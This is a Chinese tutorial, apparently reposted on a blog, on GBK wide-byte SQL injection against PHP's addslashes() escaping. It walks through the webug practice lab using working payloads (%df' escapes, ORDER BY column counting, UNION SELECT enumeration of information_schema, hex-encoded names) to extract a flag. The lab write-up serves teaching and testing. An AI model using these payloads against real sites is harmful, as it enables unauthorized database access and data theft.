宽字节注入

宽字节注入宽字节注入1.前置知识宽字节注入应用背景:在php中存在一个addslashes()函数。该函数的作用:在预定义字符(预定义字符包括:单引号、双引号、反斜杠、NULL)之前添加反斜杠进行转义,并返回处理完毕后的字符串。所谓的转义是指:预定义字符在加上反斜线之后,就已经不具备其原有的语法

大家好,欢迎来到IT知识分享网。

宽字节注入

1. 前置知识

  • 宽字节注入应用背景:
    • 在php中存在一个addslashes()函数。
    • 该函数的作用:
      • 在预定义字符(预定义字符包括:单引号、双引号、反斜杠、NULL)之前添加反斜杠进行转义,并返回处理完毕后的字符串。
      • 所谓的转义是指:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了(即:预定义字符就仅仅是一个普通的字符串了)
    • 该函数经常用于处理由 GET、POST 和 COOKIE 三种方式接收的数据,以便规范用户的输入,预防sql注入。
  • 宽字节注入原理:
    • 在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把(%5C)吃掉,举个例子。
    http://www.nicai.com/index.php?id=1
    
    • 当提交 ?id=1′ and 1=1%23 时,MySQL运行的SQL语句为
      • select * from user where id =’1\’ and 1=1#’
    • 很明显这是没有注入成功的,而当我们提交 id=1%df’ and 1=1%23 时,MySQL运行的SQL语句就变为了
      • select * from user where id =’1運’ and 1=1#’
    • 逃逸成功!!!
    • 我们这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以%DF和后面的\也就是%5c中变成了一个汉字“運”,从而使单引号逃逸了出来。

2. 注入流程

  • 当我们使用宽字节把转义绕过之后,剩下的操作其实就和联合注入相同了
  1. 判断注入点
  2. 判断当前注入点所查询的字段数
  3. 确定显示位
  4. 查询当前数据库的版本、当前登录的用户、当前数据库名
  5. 查询mysql中所有的数据库名
  6. 查询数据库中所有的表名
  7. 查寻表中所有的字段名
  8. 查询flag

3. 靶场实战

  • 这里所应用的靶场为:webug

3.1 判断注入点

  • payload:
    ?id=1'
    ?id=1"
    ?id=1 and 1=1
    ?id=1 and 1=2
    
    • 以上payload在发送之后,我们发现页面返回的信息都是相同的,没有发生变化。此时我们就应该想到,很有可能是我们的单(双)引号被转义了,那么此时我们就应该进行逃逸
      01_判断注入点
  • payload:
    ?id=1%df'
    ?id=1%df' %23
    
    • 由下图的返回结果可以看出,我们的代码被成功执行了,即当前页面存在注入点,且为字符型注入
      02_判断注入点

3.2 判断当前注入点所查询的字段数

  • payload:
    ?id=1%df' order by 2 %23
    ?id=1%df' order by 3 %23
    
    • 由页面返回结果可知,当前注入点所查询的字段数为:2
      03_判断当前注入点所查询的字段数

3.3 确定显示位

  • payload:
    ?id=1%df' and 1=2 union select 1,2 %23
    
    • 由页面返回结果可知,显示位为:2号
      04_确定显示位

3.4 查询当前数据库的版本、当前登录的用户、当前数据库名

  • payload:
    ?id=1%df' and 1=2 union select 1,concat_ws(0,database(),user(),version()) %23
    
    • 由页面返回结果可知:
      1. 当前数据库名为:webug_width_byte;
      2. 当前登录的用户名为;root@localhost;
      3. 当前数据库的版本为:5.5.53
        05_查询当前数据库的版本、当前登录的用户、当前数据库名

3.5 查询mysql中所有的数据库

  • payload:
    ?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) %23
    
    • 由页面返回结果可知,名为 webug 的数据库正是我们所需要的。
      06_查询所有数据库名
    • 之所以会存在这个步骤是因为,webug靶场的flag是存储在 webug数据库中的,而当前数据为webug_width_byte,所以我们还要查询mysql中的其他数据库。

3.6 查找数据库中所有存在的表

  • payload:
    ?id=1%df' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7765627567) %23
    
    • 上面payload中的 0x7765627567 是字符串 webug 的十六进制形式(之所以这样写是因为单引号会被转义)。
    • 有页面返回结果可知,flag表正是我们所需要的。
      07_查询所有表名

3.7 查找表中所有的字段名

  • payload:
    ?id=1%df' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167) %23
    
    • 上面payload中的 0x666C6167 是字符串 flag 的十六进制形式
    • 由页面返回结果可知,存在flag字段
      08_查询所有字段名

3.8 查询flag

  • payload:
    ?id=1%df' and 1=2 union select 1,flag from webug.flag %23
    
    • 由于当前注入点所查询的数据库为 webug_width_byte,而我们真正所要查询的flag表却在webug数据库中,所以在我们进行select查询时,from关键字后面的表名要指定其所在的数据库名:数据库.表名 -> webug.flag
    • 由页面返回结果可知,flag:dfafdasfafdsadfa
      09_查询flag

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/30236.html

(0)

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

关注微信